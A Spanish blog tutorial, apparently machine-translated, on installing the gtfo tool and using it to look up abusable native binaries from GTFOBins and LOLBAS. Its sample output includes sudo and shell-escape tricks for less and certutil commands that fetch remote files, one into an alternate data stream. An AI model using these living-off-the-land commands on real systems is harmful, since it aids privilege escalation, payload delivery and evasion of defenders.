Blog

Cómo: utilizar Gtfo para buscar archivos binarios de los que se puede abusar durante el período posterior a la explotación

GTFOBins y LOLBAS son proyectos con el objetivo de documentar los binarios nativos que pueden ser abusados ​​y explotados por atacantes en sistemas Unix y Windows, respetuosamente. Estos binarios se utilizan a menudo para las técnicas de “vivir de la tierra” durante la posexplotación. En este tutorial, exploraremos gtfo, una herramienta que se utiliza para buscar binarios abusivos en estos proyectos directamente desde la línea de comandos.

¿Qué es vivir de la tierra?

Vivir de la tierra es un método utilizado por los atacantes que utiliza herramientas y características existentes en el entorno objetivo para promover el ataque. Los objetivos pueden incluir escalada de privilegios, movimiento lateral, persistencia, exfiltración de datos, generación de caparazones inversos y más.

Esta técnica es excelente para volar por debajo del radar y puede ser difícil de detectar para los defensores. Dado que muchas de estas herramientas se utilizan para una administración legítima, puede resultar difícil separar la actividad malintencionada de la actividad normal. Windows PowerShell es un buen ejemplo. A pesar de haber sido objeto de abusos por parte de los atacantes durante años, sigue siendo un vector común durante la posexplotación.

Otra razón convincente por la que los actores malintencionados prefieren usar binarios nativos es el costo. En general, es mucho más caro y arriesgado desarrollar herramientas personalizadas que tengan más probabilidades de estar marcadas para empezar. Especialmente cuando las técnicas de vivir de la tierra pueden volverse desparasitables, lo mejor para un atacante es usar lo que ya está allí.

GTFOBins y LOLBAS son sin duda recursos excelentes cuando se trata de abusar de los binarios nativos, pero a veces puede ser tedioso cambiar de un navegador a otro. Gtfo es una herramienta escrita en Python que tiene como objetivo proporcionar toda la información que estos recursos tienen para ofrecer desde la comodidad del terminal.

Instalación de Gtfo

Instalar gtfo, lo primero que debemos hacer es clonar el repositorio de GitHub:

~# git clone https://github.com/mzfr/gtfo

Cloning into 'gtfo'...
remote: Enumerating objects: 56, done.
remote: Counting objects: 100% (56/56), done.
remote: Compressing objects: 100% (42/42), done.
remote: Total 56 (delta 21), reused 42 (delta 12), pack-reused 0
Unpacking objects: 100% (56/56), 317.52 KiB | 1.65 MiB/s, done.

A continuación, cambie al directorio recién creado:

~# cd gtfo

Gtfo usa Python 3, por lo que debemos usar pip3 aquí. Se puede instalar con el siguiente comando:

~/gtfo# apt install python3-pip

Ahora podemos instalar las dependencias necesarias:

~/gtfo# pip3 install -r requirements.txt

Requirement already satisfied: pyyaml in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (5.3.1)
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (2.23.0)
Collecting bs4
  Downloading bs4-0.0.1.tar.gz (1.1 kB)
Requirement already satisfied: lxml in /usr/lib/python3/dist-packages (from -r requirements.txt (line 4)) (4.5.2)
Collecting requests_cache
  Downloading requests_cache-0.5.2-py2.py3-none-any.whl (22 kB)
Requirement already satisfied: tabulate in /usr/lib/python3/dist-packages (from -r requirements.txt (line 6)) (0.8.2)
Requirement already satisfied: pyfiglet in /usr/lib/python3/dist-packages (from -r requirements.txt (line 7)) (0.8.post0)
Requirement already satisfied: beautifulsoup4 in /usr/lib/python3/dist-packages (from bs4->-r requirements.txt (line 3)) (4.9.1)
Building wheels for collected packages: bs4
  Building wheel for bs4 (setup.py) ... done
  Created wheel for bs4: filename=bs4-0.0.1-py3-none-any.whl size=1272 sha256=2a0036256cc5bc7b34622abe1b56ff080f2829a0ae7cc2c858b079e0c9172e71
  Stored in directory: /root/.cache/pip/wheels/75/78/21/68b124549c9bdc94f822c02fb9aa3578a669843f9767776bca
Successfully built bs4
Installing collected packages: bs4, requests-cache
Successfully installed bs4-0.0.1 requests-cache-0.5.2

Ahora podemos ejecutar gtfo con el comando dot-slash:

~/gtfo# ./gtfo

   _  _           _    __
 _| || |_        | |  / _|
|_  __  _|   __ _| |_| |_ ___
 _| || |_   / _` | __|  _/ _ 
|_  __  _| | (_| | |_| || (_) |
  |_||_|    __, |__|_| ___/
             __/ |
            |___/

usage: gtfo [-h] (-b BINS | -e EXE | -w LINK | -ls {bins,exe})
gtfo: error: one of the arguments -b/--bins -e/--exe -w/--link -ls/--list is required

Esto nos da información de uso breve. Deberíamos poder ejecutar esta herramienta desde cualquier lugar de nuestro sistema creando un enlace simbólico al ejecutable. Navegar a / usr / local / bin Para empezar:

~/gtfo# cd /usr/local/bin/

Y crea un enlace simbólico llamado gtfo al ejecutable en el directorio que clonamos de GitHub anteriormente:

~/usr/local/bin# ln -s ~/NB/gtfo/gtfo gtfo

Ahora podemos ejecutar gtfo desde cualquier directorio.

Uso de Gtfo para buscar binarios

Para ver el menú de ayuda y los argumentos opcionales, utilice el -h bandera:

~# gtfo -h

   _  _           _    __
 _| || |_        | |  / _|
|_  __  _|   __ _| |_| |_ ___
 _| || |_   / _` | __|  _/ _ 
|_  __  _| | (_| | |_| || (_) |
  |_||_|    __, |__|_| ___/
             __/ |
            |___/

usage: gtfo [-h] (-b BINS | -e EXE | -w LINK | -ls {bins,exe})

optional arguments:
  -h, --help            show this help message and exit
  -b BINS, --bins BINS  Search binaries on GTFOBins
  -e EXE, --exe EXE     Search Windows exe on LOLBAS
  -w LINK, --link LINK  gtfobins link to the page
  -ls {bins,exe}, --list {bins,exe}
                        list all the available binaries

Podemos listar los binarios de Unix con el -ls interruptor seguido por el contenedores argumento:

~# gtfo -ls bins

   _  _           _    __
 _| || |_        | |  / _|
|_  __  _|   __ _| |_| |_ ___
 _| || |_   / _` | __|  _/ _ 
|_  __  _| | (_| | |_| || (_) |
  |_||_|    __, |__|_| ___/
             __/ |
            |___/

╒═════════════╤═══════════╤═══════════╤════════════╤═══════════╤══════════════╤═════════════╤══════════╤═══════════════════╤══════════╕
│ apt-get     │ apt       │ aria2c    │ arp        │ ash       │ awk          │ base32      │ base64   │ bash              │ bpftrace │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ bundler     │ busctl    │ busybox   │ byebug     │ cancel    │ cat          │ chmod       │ chown    │ chroot            │ cobc     │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ cp          │ cpan      │ cpulimit  │ crash      │ crontab   │ csh          │ curl        │ cut      │ dash              │ date     │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ dd          │ dialog    │ diff      │ dmesg      │ dmsetup   │ dnf          │ docker      │ dpkg     │ easy_install      │ eb       │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ ed          │ emacs     │ env       │ eqn        │ expand    │ expect       │ facter      │ file     │ find              │ finger   │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ flock       │ fmt       │ fold      │ ftp        │ gawk      │ gcc          │ gdb         │ gem      │ genisoimage       │ gimp     │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ git         │ grep      │ gtester   │ hd         │ head      │ hexdump      │ highlight   │ iconv    │ iftop             │ ionice   │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ ip          │ irb       │ jjs       │ journalctl │ jq        │ jrunscript   │ ksh         │ ksshell  │ ld.so             │ ldconfig │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ less        │ logsave   │ look      │ ltrace     │ lua       │ lwp-download │ lwp-request │ mail     │ make              │ man      │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ mawk        │ more      │ mount     │ mtr        │ mv        │ mysql        │ nano        │ nawk     │ nc                │ nice     │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ nl          │ nmap      │ node      │ nohup      │ nroff     │ nsenter      │ od          │ openssl  │ pdb               │ perl     │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ pg          │ php       │ pic       │ pico       │ pip       │ pkexec       │ pry         │ puppet   │ python            │ rake     │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ readelf     │ red       │ redcarpet │ restic     │ rlogin    │ rlwrap       │ rpm         │ rpmquery │ rsync             │ ruby     │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ run-mailcap │ run-parts │ rview     │ rvim       │ scp       │ screen       │ script      │ sed      │ service           │ setarch  │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ sftp        │ shuf      │ smbclient │ socat      │ soelim    │ sort         │ sqlite3     │ ssh      │ start-stop-daemon │ stdbuf   │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ strace      │ strings   │ su        │ sysctl     │ systemctl │ tac          │ tail        │ tar      │ taskset           │ tclsh    │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ tcpdump     │ tee       │ telnet    │ tftp       │ time      │ timeout      │ tmux        │ top      │ ul                │ unexpand │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ uniq        │ unshare   │ uudecode  │ uuencode   │ valgrind  │ vi           │ view        │ vim      │ watch             │ wget     │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ whois       │ wish      │ xargs     │ xxd        │ xz        │ yelp         │ yum         │ zip      │ zsh               │ zsoelim  │
├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤
│ zypper      │           │           │            │           │              │             │          │                   │          │
╘═════════════╧═══════════╧═══════════╧════════════╧═══════════╧══════════════╧═════════════╧══════════╧═══════════════════╧══════════╛

Esto genera una buena tabla que contiene todos los binarios abusivos que se pueden encontrar en GTFOBins.

Para enumerar los binarios de Windows, use el -ls interruptor seguido por el exe argumento:

~# gtfo -ls exe

   _  _           _    __
 _| || |_        | |  / _|
|_  __  _|   __ _| |_| |_ ___
 _| || |_   / _` | __|  _/ _ 
|_  __  _| | (_| | |_| || (_) |
  |_||_|    __, |__|_| ___/
             __/ |
            |___/

╒═══════════════════╤══════════════════════╤═════════════════════════════════╤══════════════════════════════╤═══════════════════════╤════════════════════════╤══════════════════════════════╕
│ At.exe            │ Atbroker.exe         │ Bash.exe                        │ Bitsadmin.exe                │ CertReq.exe           │ Certutil.exe           │ Cmd.exe                      │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Cmdkey.exe        │ Cmstp.exe            │ Control.exe                     │ Csc.exe                      │ Cscript.exe           │ Desktopimgdownldr.exe  │ Dfsvc.exe                    │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Diantz.exe        │ Diskshadow.exe       │ Dnscmd.exe                      │ Esentutl.exe                 │ Eventvwr.exe          │ Expand.exe             │                              │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Extexport.exe     │ Extrac32.exe         │ Findstr.exe                     │ Forfiles.exe                 │ Ftp.exe               │ GfxDownloadWrapper.exe │ Gpscript.exe                 │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Hh.exe            │ Ie4uinit.exe         │ Ieexec.exe                      │ Ilasm.exe                    │ Infdefaultinstall.exe │ Installutil.exe        │ Jsc.exe                      │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Makecab.exe       │ Mavinject.exe        │ Microsoft.Workflow.Compiler.exe │ Mmc.exe                      │ MpCmdRun.exe          │ Msbuild.exe            │ Msconfig.exe                 │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Msdt.exe          │ Mshta.exe            │ Msiexec.exe                     │ Netsh.exe                    │ Odbcconf.exe          │ Pcalua.exe             │ Pcwrun.exe                   │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Pktmon.exe        │ Presentationhost.exe │ Print.exe                       │ Psr.exe                      │ Rasautou.exe          │ Reg.exe                │ Regasm.exe                   │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Regedit.exe       │ Regini.exe           │ Register-cimprovider.exe        │ Regsvcs.exe                  │ Regsvr32.exe          │ Replace.exe            │ Rpcping.exe                  │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Rundll32.exe      │ Runonce.exe          │ Runscripthelper.exe             │ Sc.exe                       │ Schtasks.exe          │ Scriptrunner.exe       │ SyncAppvPublishingServer.exe │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Ttdinject.exe     │ Tttracer.exe         │ vbc.exe                         │ Verclsid.exe                 │ Wab.exe               │ Wmic.exe               │ Wscript.exe                  │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Wsreset.exe       │ Xwizard.exe          │ Advpack.dll                     │ Comsvcs.dll                  │ Ieadvpack.dll         │ Ieaframe.dll           │ Mshtml.dll                   │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Pcwutl.dll        │ Setupapi.dll         │ Shdocvw.dll                     │ Shell32.dll                  │ Syssetup.dll          │ Url.dll                │ Zipfldr.dll                  │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ AgentExecutor.exe │ Appvlp.exe           │ Bginfo.exe                      │ Cdb.exe                      │ csi.exe               │ Devtoolslauncher.exe   │ dnx.exe                      │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Dotnet.exe        │ Dxcap.exe            │ Excel.exe                       │ Mftrace.exe                  │ Msdeploy.exe          │ msxsl.exe              │ ntdsutil.exe                 │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Powerpnt.exe      │ rcsi.exe             │ Sqldumper.exe                   │ Sqlps.exe                    │ SQLToolsPS.exe        │ Squirrel.exe           │ te.exe                       │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Tracker.exe       │ Update.exe           │ vsjitdebugger.exe               │ Winword.exe                  │ Wsl.exe               │ CL_Mutexverifiers.ps1  │ CL_Invocation.ps1            │
├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤
│ Manage-bde.wsf    │ Pubprn.vbs           │ Slmgr.vbs                       │ Syncappvpublishingserver.vbs │ winrm.vbs             │ Pester.bat             │                              │
╘═══════════════════╧══════════════════════╧═════════════════════════════════╧══════════════════════════════╧═══════════════════════╧════════════════════════╧══════════

Esto genera una tabla que contiene todos los binarios abusivos que se pueden encontrar en LOLBAS.

Para obtener información sobre un binario específico, use el -B bandera. Aquí podemos ver información sobre Unix menos mando:

~# gtfo -b less

   _  _           _    __
 _| || |_        | |  / _|
|_  __  _|   __ _| |_| |_ ___
 _| || |_   / _` | __|  _/ _ 
|_  __  _| | (_| | |_| || (_) |
  |_||_|    __, |__|_| ___/
             __/ |
            |___/

Code:   less /etc/profile
        !/bin/sh

Type:   shell

Code:   VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
        v

Type:   shell

Code:   less file_to_read
Type:   file-read

# This is useful when `less` is used as a pager by another binary to read a different file.
Code:   less /etc/profile
        :e file_to_read

Type:   file-read

Code:   echo DATA | less
        sfile_to_write
        q

Type:   file-write

# This invokes the default editor to edit the file. The file must exist.
Code:   less file_to_write
        v

Type:   file-write

Code:   sudo less /etc/profile
        !/bin/sh

Type:   sudo

Code:   ./less file_to_read
Type:   suid

En la salida, podemos ver el tipo de abuso y el código correspondiente. Este ejemplo contiene código para sudo y SUID, para obtener un shell y para leer y escribir archivos.

También podemos obtener el enlace a la página de GTFOBins con el -w opción:

~# gtfo -w less

   _  _           _    __
 _| || |_        | |  / _|
|_  __  _|   __ _| |_| |_ ___
 _| || |_   / _` | __|  _/ _ 
|_  __  _| | (_| | |_| || (_) |
  |_||_|    __, |__|_| ___/
             __/ |
            |___/

--> less        -------------------->    https://gtfobins.github.io//gtfobins/less

Para ver información sobre un binario de Windows en particular, use el -mi bandera. Tenga en cuenta que esto distingue entre mayúsculas y minúsculas y que se requiere la extensión. Aquí, podemos ver información sobre el Certutil.exe programa:

~# gtfo -e Certutil.exe

   _  _           _    __
 _| || |_        | |  / _|
|_  __  _|   __ _| |_| |_ ___
 _| || |_   / _` | __|  _/ _ 
|_  __  _| | (_| | |_| || (_) |
  |_||_|    __, |__|_| ___/
             __/ |
            |___/

# Download and save 7zip to disk in the current folder.

CMD:            certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
Category:       Download
Privileges:     User

# Download and save 7zip to disk in the current folder.

CMD:            certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64.exe 7zip.exe
Category:       Download
Privileges:     User

# Download and save a PS1 file to an Alternate Data Stream (ADS).

CMD:            certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:temp:ttt
Category:       ADS
Privileges:     User

# Command to encode a file using Base64

CMD:            certutil -encode inputFileName encodedOutputFileName
Category:       Encode
Privileges:     User

# Command to decode a Base64 encoded file.

CMD:            certutil -decode encodedInputFileName decodedOutputFileName
Category:       Decode
Privileges:     User

Podemos ver la categoría, el comando y los privilegios necesarios en la salida. Este ejemplo contiene comandos para cifrar, descifrar y descargar archivos.

También podemos obtener el enlace a la página de LOLBAS con el -w opción:

~# gtfo -w Certutil.exe

   _  _           _    __
 _| || |_        | |  / _|
|_  __  _|   __ _| |_| |_ ___
 _| || |_   / _` | __|  _/ _ 
|_  __  _| | (_| | |_| || (_) |
  |_||_|    __, |__|_| ___/
             __/ |
            |___/

--> Certutil.exe        -------------------->    https://lolbas-project.github.io//lolbas/Binaries/Certutil

Terminando

Este tutorial nos enseñó sobre los proyectos GTFOBins y LOLBAS y lo increíblemente útiles que pueden ser para obtener información sobre binarios nativos en sistemas Unix y Windows. También exploramos gtfo, una herramienta que puede buscar estos recursos directamente desde la línea de comandos. Como puede ver, gtfo puede ser bastante útil para buscar binarios abusivos sin tener que salir de la terminal.

Imagen de portada de ThisIsEngineering / Pexels

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar